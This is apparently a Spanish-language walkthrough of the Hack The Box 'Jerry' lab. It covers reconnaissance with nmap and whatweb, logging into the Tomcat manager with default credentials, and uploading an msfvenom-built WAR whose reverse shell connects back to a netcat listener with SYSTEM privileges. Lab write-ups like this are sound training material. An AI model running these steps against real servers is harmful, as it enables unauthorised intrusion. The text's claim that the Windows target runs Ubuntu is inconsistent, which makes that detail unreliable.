Jerry - Hack The Box
Certificaciones a aplicar: eJPT
Dificultad: Fácil
Habilidades:
- Information Leakage
- Abusing Tomcat [Intrusion & Privilege Escalation]
IP de la Maquina
10.10.10.95
Reconocimiento
Identificando el sistema operativo.
whichSystem.py 10.10.10.95
Escaneo de los puertos y guardamos en formato grep en el ficherito allPorts.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.95 -oG allPorts
Función extractPorts.
extractPorts allPorts
Análisis de Vulnerabilidades
Buscando versiones y servicios que corren para esos puertos y lo guardamos en formato nmap en el ficherito targeted.
nmap -sCV -p80 10.10.10.95 -oN targeted
Vemos que estamos ante un apache tomcat y nos muestra la version.
Vamos a identificar ante que nos estamos enfrentando de la siguiente manera colocamos en el navegador launchpad 4ubuntu0.5 y nos dara el siguiente resultado.
De esta manera vemos que estamos ante un Ubuntu Bionic.
Vamos a verificar con whatweb y a ver que nos reporta la herramienta.
whatweb http://10.10.10.95:8080
Vemos poco solo que estamos ante un Tomcat de version 7.0.88.
con whatweb y el parámetro -v nos mostrara un poco mas de información y de manera mas ordenada.
whatweb http://10.10.10.95:8080 -v
Igual no logramos ver nada en concreto a si que vamos a proceder a inspeccionar la web.
Vemos que es un panel de tomcat.
Vamos a probar una ruta que suele venir siempre cuando hay un tomcat.
10.10.10.95:8080/manager/html.
Vemos que nos solicita credenciales para acceder.
Como no disponemos de credenciales, lo habitual es probar las que vienen por default en la aplicación.
Si ingresamos las credenciales que vienen por default nos mostrara lo siguiente.
Si leemos detenidamente lo que nos dice, veremos que pone como se deberia configurar las credenciales de acceso y vemos 2 campos interesantes, username y password.
Colocamos las credenciales que encontramos al ver el archivo anterior y probamos.
Como vemos hemos podido ingresar, ahora observaremos detenidamente que podemos hacer.
Vemos que podemos subir nuestro propio archivo war.
Lo que trataremos de hacer sera subir un war malicioso para que lo podamos ejecutar desde el panel de aplicaciones.
Explotación
Vamos a generar un war malicioso con msfvenom.
msfvenom -l payloads | grep java
Con este comando listamos los payloads disponibles en java, porque este nos permitirá generar el war malicioso. En este caso el que nos interesa es el que pone java/jsp_shell_reverse_tcp para entablarnos una conexión inversa en la maquina victima.
Luego nos dirigimos al directorio content y creamos el payload con msfvenom.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.4 LPORT=443 -f war -o shell.war
Listo ahi tendríamos nuestro war malicioso creado.
Ahora nos movemos el war malicioso a nuestro directorio de descargas y lo subimos a tomcat.
Así se miraría nuestro war malicioso en el servidor.
Ahora nos ponemos en escucha con netcat y ejecutamos el war malicioso.
rlwrap nc -nlvp 443
Con esto deberíamos ganar acceso a la maquina y estaríamos como nt authority system.
Procedemos a buscar las flags y listo con esto terminaríamos la maquina.
Ahi podemos visualizar las flags, que como vemos nos dan la de user y root.
Escalada de Privilegios
En este caso la vulnerabilidad explotada nos brinda los privilegios máximos como NT authority System y podemos hacer cualquier cosa por lo que no hay que elevar privilegios.
Listo con esto tendríamos hecha la maquina por completo, happy hacking.
Les dejo la resolución de la misma por s4vitar Ver video